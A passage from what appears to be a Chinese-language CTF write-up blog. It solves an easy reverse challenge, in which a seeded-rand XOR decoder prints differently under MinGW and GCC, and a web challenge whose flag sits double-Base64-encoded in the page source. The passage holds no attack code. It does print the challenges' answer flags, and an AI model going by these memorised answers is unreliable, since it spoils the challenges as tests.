&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;srand&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;2025&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This is the first part of flag:&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; i &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;19&lt;/span&gt;&lt;span&gt;; i&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; decoded_char &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flag_enc&lt;/span&gt;&lt;span&gt;[i] &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;rand&lt;/span&gt;&lt;span&gt;() &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;256&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%c&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, decoded_char);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This is the second part of flag:&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;19&lt;/span&gt;&lt;span&gt;; i &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;38&lt;/span&gt;&lt;span&gt;; i&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; decoded_char &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flag_enc&lt;/span&gt;&lt;span&gt;[i] &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;rand&lt;/span&gt;&lt;span&gt;() &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;256&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%c&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, decoded_char);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Tips: If you see some non-printable characters, try to run the program on different platforms.&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;哇！这看起来像是异或解密然后输出flag的程序欸！按道理来说直接运行就可以得到flag，这就是签到题吗。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; src=&quot;/_astro/image-20251125214359747.m3QTAhaQ_ABtcR.webp&quot; /&gt;&lt;figcaption&gt;前一半flag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;然而运行之后却发现flag被分成两部分输出，只有前一半可以辨认：&lt;strong&gt;flag{r@nd_d1ff_0n_d&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;但是程序给出了提示：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Tips: If you see some non-printable characters, try to run the program on different platforms.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;（提示：如果您看到一些不可打印的字符，请尝试在不同的平台上运行该程序。）&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;在不同的平台运行同样的C语言代码，难道会有不同的结果吗？&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Windows中，常用的编译器是MinGW。而Linux中，常用的编译器是GCC。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;不同的编译器可能会产生不同的运行结果。所以我们找一个使用GCC的在线C语言运行网站试试。&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.cainiaojc.com/tool/c/&quot; target=&quot;_blank&quot;&gt;GCC编译的在线C语言编辑编译网站&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1833&quot; height=&quot;928&quot; src=&quot;/_astro/image-20251125215002270.Bty3ZOdC_Z6Ou7x.webp&quot; /&gt;&lt;figcaption&gt;后一半flag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;果然得到了后一半flag：&lt;strong&gt;Iff3r9n7_pl4tf0rm5}&lt;/strong&gt;。和之前得到的前一半合并就可以得到flag：&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{r@nd_d1ff_0n_dIff3r9n7_pl4tf0rm5}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Web&lt;a href=&quot;#web&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;[Easy] Crossy Road&lt;/strong&gt;&lt;a href=&quot;#easy-crossy-road&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;打开靶机，发现是一个方块过马路游戏。既然标着Easy，那么flag应该就在这个网页的某个部分。&lt;/p&gt;&lt;p&gt;先尝试最直接的办法：F12然后搜索“flag”：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1834&quot; height=&quot;975&quot; src=&quot;/_astro/image-20251125215540783.B7y_79mj_1Ts1V6.webp&quot; /&gt;&lt;figcaption&gt;F12搜索flag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Wm14aFozdGpNVGMyTlRaallTMWxPVGMzTFRRek56QXRZVGswWlMweE1Ua3haR0l5WkdWa1lXTjkK&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;居然真的有一个flag！不过不符合“flag{…}”的格式，应该是编码或者加密过了。看字符串的样子，非常像最近频繁遇到的Base64编码。&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.toolhelper.cn/EncodeDecode/Base64&quot; target=&quot;_blank&quot;&gt;直接找个在线Base编码解码网站试试好了！&lt;/a&gt;&lt;/p&gt;&lt;p&gt;解码得到：&lt;strong&gt;ZmxhZ3tjMTc2NTZjYS1lOTc3LTQzNzAtYTk0ZS0xMTkxZGIyZGVkYWN9&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;看起来还是很奇怪，怎么会这样！&lt;/p&gt;&lt;p&gt;但是这个结果看起来也很像是Base64编码，会不会是双重Base64编码？我觉得很有可能。&lt;/p&gt;&lt;p&gt;事实也正是如此。只要再解码Base64，就可以得到flag：&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{c17656ca-e977-4370-a94e-1191db2dedac}&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;bytes_to_long&lt;/code&gt; ： n* = &lt;em&gt;b&lt;sub&gt;0&lt;/sub&gt;&lt;/em&gt; ×256&lt;sup&gt;3&lt;/sup&gt; + &lt;em&gt;b&lt;/em&gt;&lt;sub&gt;1&lt;/sub&gt;×256&lt;sup&gt;2&lt;/sup&gt; + &lt;em&gt;b&lt;/em&gt;&lt;sub&gt;2&lt;/sub&gt;×256&lt;sup&gt;1&lt;/sup&gt; + &lt;em&gt;b&lt;/em&gt;&lt;sub&gt;3&lt;/sub&gt;×256&lt;sup&gt;0&lt;/sup&gt; &lt;a href=&quot;#user-content-fnref-%E5%A4%A7%E7%AB%AF%E5%BA%8F&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;long_to_bytes&lt;/code&gt; &lt;a href=&quot;#user-content-fnref-%E9%80%86%E5%A4%A7%E7%AB%AF%E5%BA%8F&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item></channel></rss>